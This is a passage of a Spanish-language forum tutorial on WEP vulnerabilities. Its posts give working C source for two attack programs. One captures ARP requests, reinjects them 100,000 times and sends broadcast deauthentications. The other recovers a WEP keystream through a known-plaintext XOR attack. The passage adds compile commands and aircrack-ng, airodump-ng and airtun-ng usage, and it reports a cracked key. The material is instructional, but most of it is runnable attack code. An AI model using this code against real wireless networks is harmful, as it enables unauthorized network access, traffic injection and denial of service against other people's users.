Como ves, a esta funcin se le pasa un argumento (bssidAP[6]) que ser la MAC del punto de acceso de la red WEP y que tecleamos desde la funcin main. Inicia con un while (1) indefinido hasta capturar un paquete, se analiza: * Que el paquete capturado tenga el bit wep activado * Que sea de datos * Que el bssid sea el que se pas como parmetro Cuando estas tres condiciones se cumplen se termina el while. Entonces, se presenta el paquete por pantalla y se enva 100 mil veces. Como se indica en la ejecucin del programa, es interesante que pongamos airodump a funcionar y as comprobaremos que efectivamente los paquetes de datos "crecen" exageradamente. Recuerda que no tenemos certeza de que sea un "buen candidato" a la reinyeccin, por lo que igual, tras los 100 mil paquetes no tenemos IVs significativos.
30/10/2011
Page 55 of 94
Vamos a verlo "en accin" Lanzamos nuestro rebote, por ejemplo: (#) (#) Cdigo: ./rebote eth1
Cuando aparezca en pantalla el mensaje de "Ejecuta airodump para..." Lanzamos en otra shell airodump, por ejemplo as: (#) (#) Cdigo: ./airodump-ng -w test -c 7 -d 00:16:B6:41:03:5D
Aqu tienes el resultado....
Si acertamos con un "buen paquete" podemos pasar aircrack tras capturar unos miles de IVs, que como hemos dicho no se garantiza un buen resultado, por ejemplo, este fall:
Pero lo importante no es hacer crack de la clave (por el momento) lo importante es comprender el asunto de la reutilizacin del IV en la reinyeccin de trfico. El prximo, no fallar Arriba (#top)
Mi Jul 29, 2009 1:21 am
VULNERABILIDADES WEP. Parte I. Prctica(2) (#p56266)
VULNERABILIDADES WEP. Parte I. Prctica(2). Programa reenvioarp.c

Ejemplo 2. Reinyeccin selectiva de un paquete ARP.
Lo descargas de: http://www.megaupload.com/?d=DYGS5RVY (http://www.megaupload.com/?
d=DYGS5RVY)
Lo guardas como reenvioarp.c en el directorio fuente de aircrack Y lo compilas: (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o reenvioarp reenvioarp.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude reenvioarp.o common.o crypto.o -o reenvioarp -Losdep -losdep lssl -lcrypto
30/10/2011
Page 56 of 94
En este ejemplo usaremos como candidato a inyectar un paquete del tipo ARP Request (Solicitud ARP) de este modo nos aseguramos que habr respuesta por el destino y los IVs crecern tanto como paquetes inyectados. Utiliza las habituales funciones send_packet, read_packet y dump_packet estas ya son "norma"en este Taller. La funcin main es igualita a la del anterior apartado, slo que en esta ocasin, en lugar de llamar a la funcin rebote_datos, llama a una nueva funcin: inyectar_arp_req Lo primero que hemos de tener claro para entender esta funcin es: Cmo saber si se trata de un ARP o de otro tipo de paquetes? Y en el caso de sea ARP, Cmo diferenciar si es un ARP Request o un ARP response? Bueno, lo qu est claro es que la funcin debe comprobar primero si el bit wep est activado, si es un paquete de datos, como antes. Para saber si un determinado paquete es un ARP nos tendremos que "fiar" de su tamao. Un paquete ARP debera de ser as mas o menos: (#) (#) Cdigo: 24 bytes para la cabecera 802.11 (o 26 si hay QoS) 4 bytes para el IV 6 bytes para la cabecera SNAP 36 bytes para los datos encriptados ARP 4 bytes para el ICV.
En total, tendremos 68 bytes si no hay QoS o 70 si hay QoS. Es posible existan paquetes de 68 bytes que no sean ARP, por ejemplo algunos paquetes IGMP (ojo, he puesto IGMP no ICMP) tienen ese tamao. Estos paquetes son UDP y se utilizan contra direcciones multicast de host que estn suscritos a determinados servicios. Por tanto, podemos errar si es el caso, no nos daremos cuenta hasta que termine todo, y tendremos que repetir. Sin embargo, en lugar de leer indefinidamente hasta encontrar un paquete de datos que "parezca" ARP, limitamos mediante una condicin,,, de forma que si tras leer 500 paquetes no "damos" con uno de datos, con wep activado y de tamao 68, lanzamos desautenticaciones al BROADCAST!!!! De ese modo los clientes tendrn que volver a autenticarse y de las primeras cosas que harn es enviar ARP request al punto de acceso!!! Tambin podamos haber empezado por ah y no esperear a leer 500, efectivamente, estara mejor as pero lo hecho, hecho est
30/10/2011
Page 57 of 94
Por tanto la funcin inyectar_arp_req hace una llamada a la funcin desautenticar_todos pasndole como parmetro el bssid del AP que tecleamos en la funcin main. No te pego el cdigo de la funcin desautenticar_todos porque es la misma que hemos utilizado para las denegaciones de servicio, concretamente es el mismo cdigo que llamamos dos01.c excepto que se utiliza desautenticacin en lugar de disociacin. Como tienes el enlace del cdigo fuente, ya lo vers por ti mismo. Lo que si pego en este post es el contenido de la funcin inyectar_arp_req, que es la que nos interesa. (#) (#) Cdigo: int inyectar_arp_req(unsigned int bssidAP[6]) // { int n, z, caplen; long nb_pkt_read; unsigned char ARP_REQ[4096]; int captura_ARP_REQ; int tamano_arp; int cabmac; int esmiap; unsigned char macAP[6]; nb_pkt_read = 0; memset (ARP_REQ, 0, 4096); captura_ARP_REQ=0; printf ("\n**** Esperando un ARP REQ con destino a -----> "); for (z=0;z<6;z++) { macAP[z]=bssidAP[z]; printf ("%02X:", macAP[z]);} printf ("\n\n"); while( captura_ARP_REQ == 0) // mientras no se haya capturado un ARP_Request { caplen = read_packet( h80211, sizeof( h80211 ), NULL ); printf ("\rLeyendo paquete nmero %ld \r", nb_pkt_read); fflush (stdout); nb_pkt_read++; if (nb_pkt_read % 500 ==0) { printf("\n\nATENCION!!! Parece que no se capturan ARP_REQ"); printf("\n*********** Probando desautenticacin al broadcast\n"); desautenticar_todos(macAP); continue; } usleep(1800); tamano_arp=68; // el tamao de un paquete arp es 68 para 802.11 // 24 para la cabecera mac 802.11 estndar
30/10/2011
Page 58 of 94
// // // //
4 para el 36 de los 4 para el 24+4+26+4
IV datos encriptados de ARP ICV = 68
if ((h80211[1] & 0x40) != 0x40) continue; // si no es un paquete Wep activado, leer otro. if ((h80211[0] & 0x0C) != 0x08) continue; paquete de datos, leer otro //Si no es un
cabmac = ( ( h80211[1] & 3 ) == 3 ) ? 30 : 24; //30 si (toDS=1 y FromDS=1). 24 en otro caso if( (h80211[0] & 0x80) == 0x80) { // Si es un paquete QoS cabmac+=2; // la cabecera MAC tiene un tamao extra de 2 Bytes tamano_arp+=2; // la longitud total del paquete tiene un tamao extra de 2 bytes } if(caplen != tamano_arp) continue; // si el tamao del paquete leido no es el de un arp, leer otro if ((h80211[1] & 0x01) == 0x01) { // Si es un paquete toDS if (h80211[16]==0xff ) { //asumimos que si la macdestino comienza por FF es broadcast // realmente deberamos comprobar que las 6 posiciones sean FF // pero lo damos por supuesto /* Comprobamos que el bssid del paquete leido es la misma mac que la que tecleamos */ /* de ese modo nos aseguramos que el paquete ledo pertenece a la red wifi deseada*/ esmiap=0; for (z=0;z<6;z++) { if (h80211[z+4] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC } if (esmiap == 0) // las macs tecleadas y capturadas coinciden!!! { memcpy (ARP_REQ,h80211,caplen); // copiar el paqute ledio al array ARP_REQ captura_ARP_REQ=1; // hacemos uno esta variable para salir del while!!! }
30/10/2011
Page 59 of 94
} }
} // fin de while y captura de paquetes /* Parece que tenemos un Candidato */ printf ("\n\nPaquete ARP_REQ a enviar"); printf ("\n************************\n"); dump_packet (ARP_REQ, caplen); printf ("\nEsperando 5 segundos para reinyectar el paquete ARP_REQ."); printf ("\nEjecuta airodump para capturar el trfico inyectado\n\n"); sleep(5); /* Inyectar 100.000 paquetes del tipo ARP_REQ */ for (n=0;n<100000;n++) { send_packet (ARP_REQ, caplen); printf ("\rEnviando paquete nmero %i de %i bytes \r", n,caplen); fflush (stdout); usleep(1800); } return(0); }
Como de costumbre, he intentado ser lo mas descriptivo posible dentro del cdigo fuente. Ya veo que es algo "pesado" estar continuamente explicando cada paso, pero es que lo que nos interesa en este taller es precisamente eso, comprender como se construyen las tramas, los valores, etc.. por eso nunca sobran estas explicaciones aunque sean repetitivas en muchas ocasiones. Adems, dentro de poco van a venir ataques "mas serios" o al menos mas complicados, y entonces estas pequeas explicaciones sern bastante tiles. Tambin vamos a verlo en accin (este no fallar en el crack )
Y tras unos 40mil paquetes inyectados...
Correcto!!! Inyeccin exitosa y clave wep descifrada!!!! Como ves, es bastante rpido... en menos de 3 minutos tenemos la clave wep (en la pantalla que se muestra arriba pone 6 minutos... pero ya llevaba 89782 paquetes de datos inyectados, con
30/10/2011
Page 60 of 94
40000 fueron suficientes, 2 minutos)
Arriba (#top)
Mi Jul 29, 2009 1:22 am
VULNERABILIDADES WEP. Parte II. Teora- Ataque Texto Plano (#p56267)
VULNERABILIDADES WEP. Parte II. Teora. Ataque de Texto Plano

Para completar lo que hemos estado explicando sobre la teora de colisiones IV, conocimiento del texto plano, etc Vamos a implementar lo que se llama un ataque en texto plano. Antes de la prctica, una pequea introduccin.... En este escenario el atacante cuenta con una GRAN ventaja, que es el poder comunicarse con las estaciones inalmbricas desde su mquina mediante la red cableada. Es decir, imaginemos que estamos en la empresa, colegio, o donde sea y tenemos nuestro PC conectado por cable a un router o switch que a su vez est conectado a un punto de acceso inalmbrico. Como no somos parte de la red inalmbrica, no conocemos la clave WEP, de hecho igual tampoco la conocen los usuarios inalmbricos porque el administrador configur los equipos de la empresa manteniendo en secreto la clave. Como podemos comunicarnos con los clientes inalmbricos (y estos con nosotros) puesto que compartimos los mismos recursos corporativos (bases de datos, dns, o sencillamente unas cuantas carpetas de red) podemos enviar cualquier cosa a las estaciones inalmbricas. Esto es la GRAN ventaja, el atacante conoce el TEXTO PLANO de lo que enva (puesto que por la interface ethernet saldr el paquete sin cifrar) Como ese paquete ir con destino a una estacin inalmbrica, el router, switch o lo que sea, se lo dar al punto de acceso que lo cifrar con la clave WEP y terminar por entregarlo al destino (estacin inalmbrica). Si conseguimos capturar el paquete de datos que el punto de acceso enva (ya cifrado) a la estacin wireless, slo tenemos que hacer un XOR del texto plano enviado por la interface de cable (la ethernet) con el paquete que sale del punto de acceso hacia el cliente inalmbrico. De ese XOR, como vimos en la explicacin terica, saldr el keystream para ese IV y con ese keystream el atacante puede utilizar una tarjeta inalmbrica para comunicarse con la red wifi sin saber la clave WEP. Esto puede parecer una tontera. "si ya tengo comunicacin con la red inalmbrica desde el cable, para qu usar un keystream??" Pues visto desde este punto parece del todo intil, pero es que la escenificacin de este ataque nos va a dar pi para comprender cmo podremos hacer lo mismo en los casos en los que "el atacante" ni pertenece a la red de cable ni pertenece a la red inalmbrica, y sin embargo, podremos usar los keystream calculados "a ciegas" sin conocer el texto plano como es este caso.
30/10/2011
Page 61 of 94
Esto ya es mejor, verdad? Pero por partes, primero al ataque en texto plano para poder comprender mas adelante otros mas refinados. Para realizar el ataque en texto plano el atacante debe generar un paquete del cual conozca todo su contenido y que sea lo suficientemente grande para poder usar la keystream en otros paquetes diferentes. Como candidato eleg un icmp echo (un ping) es fcil de construir y podemos "aumentar el tamao" a lo que nos interese. La coreografa es la siguiente: 1.- el atacante envia un icmp echo a un cliente inalmbrico del cual conoce todos los datos. Realmente y como vewremos en el ejemplo, lo que hacemos es guardar ese icmp en plano dentro de un archivo llamado ping_plano.cap 2.- El atacante escucha con una tarjeta inalmbrica los paquetes que salen del punto de acceso (FromDS) y compara si lo que enva el punto de acceso al cliente inalmbrico es el paquete elegido y lo guarda en un archivo llamado ping_cifrado.cap 3.- Si lo averigua, realiza un XOR del paquete que sale del AP (ya estar cifrado) con el texto plano que l envi y lo guarda en un archivo llamado ping.xor 4.- con el archivo ping.xor (que es el keystream) puede inyectar paquetes "a medida" DIRECTAMENTE a la red inalmbrica desde la tarjeta wifi del atacante. 5.- Podr usar ese keystream desde cualquier herramienta tanto del sistema operativo como de terceros. Un dibujito de cmo es el escenario, con sus ips, etc
Y despus de que todo esto ya est explicado y claro... al ataque.... Arriba (#top)
Mi Jul 29, 2009 1:23 am
VULNERABILIDADES WEP. Parte II. Prctica- Ataque Texto PLANO

(#p56268)
VULNERABILIDADES WEP. Parte II. Prctica

Ataque de Texto plano
Antes de nada, el atacante debe "preparar" un archivo ping_plano.cap con destino al equipo vctima (10.10.10.200) Para ello, vamos a usar tcpdump y luego enviar el ping.
30/10/2011
Page 62 of 94
Ponemos tcpdump "a la escucha" abrimos una shell y escribimos: (#) (#) Cdigo: tcpdump -i eth0 -p icmp[icmptype]=icmp-echo -w ping_plano.cap -s 0
Esto deja a tcpdump escuchado por la interface eth0 a la espera de un paquete icmp echo (un ping) y cuando lo reciba, guardar el/los paquetes capturados en el archivo ping_plano.cap La opcin s 0 (cero) es importante puesto que en caso contrario tcpdump slo captura los primeros 96bytes de cada paquete y a nosotros nos interesa capturarlo completo, sobre todo si enviamos un ping de 1300 bytes, por ejemplo. En otra shell, el atacante enva un ping a la vctima, slo uno (no necesitamos mas) y del tamao que nos de la gana, en principio lo enviamos del tamao "estndar" 64 bytes, luego haremos un ping de tamao mayor para obtener un keystream mas grande y poder descifrar cualquier paquete. (#) (#) Cdigo: ping 10.10.10.200 -i eth0 -c 1
Si todo ha ido bien, deberemos tener un archivo llamado ping_plano.cap en el directorio donde est escuchando tcpdump, ese archivo (si no lo est ya) debemos copiarlo al directorio donde ejecutaremos nuestro programa de ataque de texto plano, y por supuesto, ya podemos parar tcpdump Te pongo las pantallas:
Veamos ese paquete capturado
Vale. Ahora que tenemos el archivo, ya podemos ejecutar nuestro programa. Pero antes hay que aclarar algo, Nosotros hemos enviado esto:
Estn resaltados justamente los dos bytes siguientes a la cabecera ethernet. Recordis lo de la cabecera SNAP y LLC??? Si es que para algo se explic entonces Nuestro paquete ethernet (segn tcpdump y/o whireshark) tiene un tamao de 98 bytes, PERO cuando el punto de acceso envie ese paquete no ser as. El punto de acceso eliminar la cabecera ethernet (Mac destino y mac origen) que son los 12
30/10/2011
Page 63 of 94
bytes del principio del paquete ethernet (lo que hay a la izquierda de los bytes resaltados) En su lugar colocar la cabecera MAC, que sern algo as:
Bueno, podran ser 26 si hay QoS, ya sabes... Luego aade el IV + la cabecera SNAP/LLC
ESOS 08 00 son precisamente los mismos dos bytes que estn resaltados en la captura del esnifer!!!! Estos son IP!!!! Recuerda lo de la cabecera SNAP/LLC!!! Puesto que formarn parte del paquete de datos cifrado y del keystream que obtengamos = ESTO es IMPORTANTSIMO!!!! Despus le aade el resto del paquete, es decir 84 bytes y finaliza con el ICV (el CRC32 de los bytes en texto plano, desde la cabecera SNAP hasta el final) este ICV son 4 bytes. Por tanto, el paquete a transmitir por el punto de acceso al cliente inalmbrico es:
Y repito de nuevo: IMPORTANTSIMO!!!!! Los bytes de datos cifrados comienzan en la posicin +28 hasta el final -4 (124 del tamao total 4 del ICV) (#) (#) Cdigo: Total del tamao de datos cifrados = 124 - 28 - 4 = 92 bytes cifrados
DESDE la CABECERA SNAP/LLC (incluida) hasta 124 4!!!! En este ejemplo asumimos que no hay QoS, si lo hubiese sern dos bytes mas en el tamao total del paquete (124+2=126) pero los datos seran LOS MISMOS, slo que comenzaran en la posicin +30 hasta 126 4. Por tanto, cuando analicemos los paquetes desde nuestro programa, tenemos que buscar uno que cumpla estos requisitos: a.- Que sea un paquete de datos (byte 0 debe ser 08 88 si hay QoS) b.- Que sea un paquete fromDS (byte 1 debe ser 0x42, ya veremos) c.- Que el bit wep est activado (byte 1 debe ser 4x, ya veremos) d.- que la mac destino sea la del cliente (bytes 4 al 9) e.- que la mac del punto de acceso sea el correcto (bytes 10 a 15) f.- que la mac origen sea la de la tarjeta ethernet (bytes 16 al 21) g.- que el tamao total del paquete sea 124 bytes 126 si hay QoS. Si se cumplen todas estas condiciones, estamos casi seguros que el paquete que capturemos por la interface Wifi es el paquete que el punto de acceso ha cifrado para enviarlo al cliente.
30/10/2011
Page 64 of 94
Si en lugar de ese tamao hubisemos usado otro de tamao "especial" por ejemplo uno de 173 bytes estaramos seguros (digo de 173 como poda haber dicho 191, 211, 151, 995, 1133, etc) porque los nmeros impares no son "habituales", siempre se usan nmeros pares pero bueno, esa es otra historia, con las comprobaciones dichas antes, mas que suficiente para tener prcticamente un 100% de probabilidad que es el "nuestro" Una vez que lo tengamos, solo nos falta hacer un xor del paquete enviado con el cifrado y ya tenemos un keystream vlido para el IV que se est usando. Y otra vez. IMPORTANTSIMO, para hacer el XOR debemos aadir a nuestro paquete en texto plano la cabecera SNAP (AA AA 03 00 00 00 ) aqu no hace falta incluir el 08 00 puesto que ya lo tiene. Es decir, nuestro paquete en texto plano sera: (#) (#) Cdigo: AA AA 03 00 00 00 08 00 45 00 ...... 35 36 37
OBSERVA que la cabecera MAC de ethernet NO SE INCLUYE COMO DATOS!!!! Y HAY QUE HACER XOR DE LO QUE CAPTUREMOS +28 HASTA 124 -4
Bueno, ha sido muy, muy pormenorizado todo, pero es que si no vamos entendiendo bien esto, otros ataques se nos van a atragantar.... Ahora vamos al programa. Utiliza la funciones de costumbre: read_packet, dump_packet y send_packet (esta ltima no se usa) Adems estas otras: Funcin main * Comprueba el paso de parmetros * Prepara la interface wifi para enviar/recibir paquetes * llama a la funcin captura_datos_ethernet * llama a la funcin envia_datos_ethernet * llama a la funcin captura_datos_wifi * realiza las operaciones XOR pertinentes * graba el archivo ping.xor con su IV, esto es el keystream. * muestra los resultados por pantalla para comprobar que funcion Funcin captura_datos_ethernet * El cometido de esta funcin es abrir el archivo ping_plano.cap que deberemos tener con anterioridad, eliminando la cabecera pcap y lo almacena en un array llamado ethernet, estos sern los datos en plano de ethernet. Funcin envia_datos_ethernet * Su cometido es abrir un RAW socket y lanzar por el cable el contenido del array ethernet que completamos en la funcin anterior, tambin comprueba que se pudo enviar correctamente.
30/10/2011
Page 65 of 94
Funcin captura_datos_wifi Esta funcin se encarga de capturar el paquete que el punto de acceso ha debido cifrar para el cliente, es decir, nuestro ping enviado desde la interface ethernet convertido a 802.11 y cifrado con WEP. Aqu es donde realizamos las comprobaciones de tamao, fromDS, MACs, wep, etc.. las que hablbamos antes. Tambin en esta funcin se escribe en el disco un archivo llamado ping_cifrado.cap que es el contenido completo del paquete cifrado. Para nuestro Taller nos interesan sobre todo el contenido de la funcin main y de la funcin captura_datos_wifi, puesto que son donde se realiza de verdad el ataque del tipo texto plano.
Contenido de la funcin main()

(#) (#) Cdigo: int main( int argc, char *argv[] ) // inicio del programa { int caplen=0; int bb,z; //Comprueba el paso de parmetros if( argc != 2 ) { printf("\nUso: ataquePLANO interface\n\nEjemplo: ataquePLANO wlan0 \n\n"); exit( 0 ); } /* Abrir Interface wifi para enviar/recibir trfico */ opt.iface_out = argv[1]; _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); _wi_in = _wi_out; dev.fd_in = dev.fd_out; dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); wi_get_mac(_wi_out, dev.mac_out); /* drop privileges */ setuid( getuid() ); /* Leemos el paquete de Datos de pring_pano.cap*/
30/10/2011
Page 66 of 94
memset (ethernet,0,1500); if (captura_datos_ethernet() !=0) exit(1); //Comprobamos que hay un paquete .cap de ethernet /* Enviamos ping_plano (guardado en ethernet[1500]) por la red de cable */ if (enviar_paquete_ethernet () !=0 ) exit (1); // si hubo algn error al enviarlo, fin de programa. /* Capturamos el paquete desde la interface Wifi */ while(captura_datos_wifi(&caplen) !=0 ) {} // Ahora en ethernet[] tenemos el paquete en texto plano y en h80211[] tenemos el paquete cifrado z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; // z es 30 si es un paquete WDS (toDS=1 FromDS=1), si no ser 24 if( (h80211[0] & 0x80) == 0x80) z+=2; incrementa en 2 bytes // si es un paquete QoS z se
// Volcamos el paquete cifrado para observar su contenido printf ("\nDatos del Paquete cifrado"); dump_packet (paquete_cifrado+z+4,caplen - z -4 -4); // a caplen le restamos la cabecera MAC (z) 4 de IV y 4 de ICV /* Obtenemos el keystream mediante XOR entre el paquete en texto plano y el paquete cifrado El keystream se debe obtener de los datos cifrados y de los datos en texto plano El paquete en texto plano lo tenemos en ethernet[] y el cifrado en paquete_cifrado[] Para que todo "encaje": * ignorar los primeros 12 bytes de la cabecera ethernet II correspondientes a MAC destino y MAC origen * Luego tamao de ethernet - 12 = tamao de los datos cifrados * incluir al principio del keystream los 4 bytes correspondientes a los parmetros WEP IV * Aadir los 6 primeros 6 bytes de la subcapa LLC.en ethernet * hacer xor para obtener el keystream * aadir al final los 4 bytes correspondientes al ICV * Salvar ese keystream */
30/10/2011
Page 67 of 94
unsigned char mi_XOR[1500],mi_PLANO[1500], nuevo_ethernet[1500]; // nuevo ethernet ser lo mismo que ethernet pero con la subcapa LLC al inicio!!! #define mi_llc_snap "\xaa\xaa\x03\x00\x00\x00" // tamano es el tamao del paquete ethernet, caplen es el tamao del paquete 802.11 // tamano menos 12 (que son los bytes de las direcciones mac ethernet) y le sumamos 6 (subcapa LLC) y lo // comparamos con caplen restando z (que es el tamao de la cabecera MAC 802.11), menos 4 (tamao del IV) -4 (Tamao del ICV) // si tras esa operacin no son los mismos valores, no se hace XOR y el programa termina. if (tamano -12 + 6 != caplen -z -4 - 4 ) {
printf ("\n\nEl tamao de los datos en texto plano (%i bytes) no se corresponde con el" " tamao de los datos cifrados (%i bytes) \n\n" "Generacin del keystream abortada.\n\n",tamano -12, caplen -z -44); exit (1); } // Copiamos a nuevo_ethernet la subcapa LLC memcpy (nuevo_ethernet, mi_llc_snap, 6); // Copiamos a nuevo_ethernet el resto del paquete ethernet ignorando las mac destino y origen (ethernet +12) memcpy (nuevo_ethernet+6, ethernet+12, 1500-12); //aadimos el iV memcpy (mi_XOR,paquete_cifrado+z,4); // hacemos xor desde la posicin z+4 (inicio de los datos cifrados) con los datos de nuevo_ethernet // hasta alcanzar la longitud total del paquete 802.11 sin la cabecera (z) y sin contar los IV e ICV (-4-4) // mi_XOR comienza a contar desde la pos.4 puesto que las anteriores las ocupa el IV de la lnea anterior // paquete_cifrado comienza en la poscin +z+4 (cabecera mac + 4 para el iV) for (bb=0;bb < caplen-z-4;bb++) mi_XOR[bb+4] = paquete_cifrado[bb+z+4] ^nuevo_ethernet[bb];
30/10/2011
Page 68 of 94
// aadimos al final los 4 bytes del ICV // bb cuenta la ltima posicin de los datos y caplen-4 es la posicin inicial del ICV memcpy(mi_XOR+bb,paquete_cifrado+caplen-4,4); // Volcamos el paquete keystream resultante del XOR para observar su contenido printf("\nKeystream obtenido mediante XOR del paquete cifrado con el paquete en texto plano"); dump_packet (mi_XOR,bb+4+4); // Comprobamos que todo funciona, volvemos a hacer XOR, pero esta vez usamos el keystream obtenido (mi_XOR) // hacemos XOR con el paquete cifrado, que lgicamente nos tiene dar lo mismo que en el paquete en texto plano // observa que no se hace xor de los primeros 4 bytes y de los 4 ltimos!!! son los IV e ICV. for (bb=0;bb<caplen-z-4-4;bb++) mi_PLANO[bb] = paquete_cifrado[bb+z+4] ^mi_XOR[bb+4]; // Volcamos el paquete keystream XOR cifrado printf ("\nPaquete plano resultante de cifrado XOR keystream calculado."); dump_packet (mi_PLANO,caplen-z-4-4); // Si volcamos el paquete nuevo_ethernet, el contenido de uno y otro deben ser IDENTICOS!!!! printf ("\nPaquete nuevo_ethenet original (debe ser idntico al volcado anterior)"); dump_packet (nuevo_ethernet,caplen-z-4-4); // guardamos el keystream (prga) calculado... el que est en mi_XOR como ping.xor FILE *f_cap_out; if( ( f_cap_out = fopen( "ping.xor", "wb+" ) ) == NULL ) { perror( "Error al abrir el archivo para escritura. ping.xor" ); return( 1 ); } // n = pkh.caplen + 8 - 24; if( fwrite( mi_XOR, caplen, 1, f_cap_out ) != 1 ) { perror( "Error al escribir en el archivo ping.xor" );
30/10/2011
Page 69 of 94
return( 1 ); } fclose( f_cap_out ); printf ("\nListo!!! Guardado como ping.xor\n"); // ahora ya podemos usar ese keystream para enviar cualquier paquete a la red inalmbrica!!!! return( 0 ); }
Funcin captura_datos_wifi
(#) (#) Cdigo: int captura_datos_wifi( int *caplen) // captura de datos WiFi, comprobaciones y guardar paquete .cap { time_t tr; struct timeval tv; struct tm *lt; int n, z; long nb_pkt_read; FILE *f_cap_out; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; tr = time( NULL ); nb_pkt_read = 0; signal( SIGINT, SIG_DFL ); while( 1 ) { *caplen = read_packet( h80211, sizeof( h80211 ), NULL ); nb_pkt_read++; usleep(300); if (nb_pkt_read > 20) { // asumimos que al leer mas de 20 paquetes no hemos capturado el "bueno" printf ("\r*** Parece que no se ha capturado el paquete. Pulsa ctrl+c y repite *** \r"); fflush( stdout ); return (2); } if(*caplen <= 0) continue; // si la longitud no es vlida
30/10/2011
Page 70 of 94
if( (h80211[0] & 0x0C) != 0x08) continue;
//Si no es un paquete de datos
// if( ( h80211[1] & 0x01 ) != 0x00 ) continue; // Si es ToDS if( ( h80211[1] & 0x02 ) != 0x02) continue; // Si no es FromDS if( ( h80211[1] & 0x40 ) != 0x40 ) continue; // si no es un paquete Wep activado if (h80211[16] != 0x00 && h80211[17] != 0x0a && h80211[18] != 0xcc) continue; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; // z es 30 si es un paquete WDS (toDS=1 FromDS=1), si no ser 24 if( (h80211[0] & 0x80) == 0x80) z+=2; incremente en 2 // si es un paquete QoS z se
/* Controlamos el paquete icmp. tamano es la longitud del paquete ethernet a ese valor (tamano): se restan 12 de la cabecera MAC ethernet II (MAC destino y MAC origen) se suman 6 de la subcapa LLC 802.11 (aa aa 03 00 00 00) o (42 42 03 00 00 00 para spanning-tree) se suman 24 de la cabecera MAC 802.11 ( 26 si es una paquete QoS) --> z contiene este valor se suman 4 del IV de WEP se suman 4 del ICV total = tamano -12 + 6 + 24 + 4 + 4 para un paquete no QoS total = tamano -12 + 6 + 26 + 4 + 4 para un paquete QoS si ese total coincide con la longitud leda, se asume que es nuestro paquete enviado */ if (*caplen == tamano - 12 + 6 + z + 4 + 4 ) {
memset (paquete_cifrado,0,4096); memcpy (paquete_cifrado,h80211,*caplen); // printf ("\n\n"); //dump_packet (paquete_cifrado,tamano - 12 + 6 + z + 4 + 4); break; // sale de while y procede a grabar el paquete ledo en formato .pcap }
30/10/2011
Page 71 of 94
} // Grabamos el paquete ledo (h80211) en el archivo ping_cifrado.cap pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; lt = localtime( (const time_t *) &tv.tv_sec ); f_cap_out=0; if( ( f_cap_out = fopen( "ping_cifrado.cap", "wb+" ) ) == NULL ) { perror( "Error al abrir archivo de salida" ); return( 1 ); } printf( "Guardado como ping_cifrado.cap\n"); n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "Error al escribur la cabecera pcap\n" ); return( 1 ); } pkh.tv_sec pkh.tv_usec pkh.caplen pkh.len n = sizeof( = tv.tv_sec; = tv.tv_usec; = *caplen; = *caplen; pkh );
if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "Error al escribir datos en la cabecera pcap" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "Error al escribir el paquete" ); return( 1 ); } fclose( f_cap_out );
30/10/2011
Page 72 of 94
return( 0 ); }
Del resto de funciones no voy a poner el cdigo fuente en este post, se escapan al temario de este Taller y adems, con las explicaciones dadas son fciles de entender. Lo puedes descargar de: http://www.megaupload.com/?d=YCGYVOUU
(http://www.megaupload.com/?d=YCGYVOUU)
Se guarda en el directorio del cdigo fuente de aircrack con el nombre ataquePLANO.c Y se compila: (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o ataquePLANO ataquePLANO.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude ataquePLANO.o common.o crypto.o -o ataquePLANO -Losdep -losdep -lssl -lcrypto
Lo vemos en accin:
Una vez obtenido el keystream (que si todo ha ido bien lo tendremos en el archivo ping.xor y podremos usarlo para inyectar paquetes en la red. El keystream que disponemos es de tan slo 92 bytes por lo que este ser el tamao mximo de los paquetes que podemos enviar, sin embargo, podemos obtener un keystream mas grande de una forma simple. Como estamos usando un paquete icmp en texto plano para el "ataque" nos bastar con enviar un ping de mayor tamao que el estndar. Por ejemplo, podemos hacer esto,abrimos una shell y escribimos: (#) (#) Cdigo: tcpdump -i eth0 -p icmp[icmptype]=icmp-echo -w ping_plano.cap -s 0
En otra shell: (#) (#) Cdigo: ping 10.10.10.200 -i eth0 -c 1 -s 1423
30/10/2011
Page 73 of 94
Esta pantalla de la estructura de un paquete icmp completo puede ayudar an mejor a entender el encapsulado del paquete.
Observa tambin, que hemos jugado con un nmero impar por aquello de que no son muy habituales, casi todas las tramas y paquetes de datos tienen un tamao par, as ser ms fcil identificar nuestro paquete de datos cifrado, tendremos que "encontrar" un paquete de datos, con wep activado, fromDS y con un tamao de 1497 ( 1499 si hay QoS). Ahora lanzamos nuestro programa como hicimos antes y si todo va bien obtendremos un keystream de 1469 bytes (4 del ICV + 1465 de datos cifrados) (#) (#) Cdigo: ./ataquePLANO eth1
Con este keystream podemos enviar paquetes mucho mas grandes. Para ello, nos vamos a apoyarnos de una de las herramientas de aircrack, esta es airtun-ng. Esta pequea maravilla permite usar un prga (un keystream) para enviar datos a la red inalmbrica, hace muchas otras cosas, pero esta es una de sus capacidades. Antes de usar airtun-ng debemos cargar un mduulo para la interface tap (una interface "muda" y virtual) que usar airtun. En una shell: (#) (#) Cdigo: modprobe tun
Luego lanzamos airtun-ng (#) (#) Cdigo: ./airtun-ng -a 00:16:B6:41:03:5D -y ping.xor
donde 00:16:B6:41:03:5D debe ser la mac del punto de acceso y ping.xor el keystream "grande" que nos hemos fabricado. Responder que ha creado una intarface tap con el nombre at0 y que slo la podemos usar para enviar trfico...
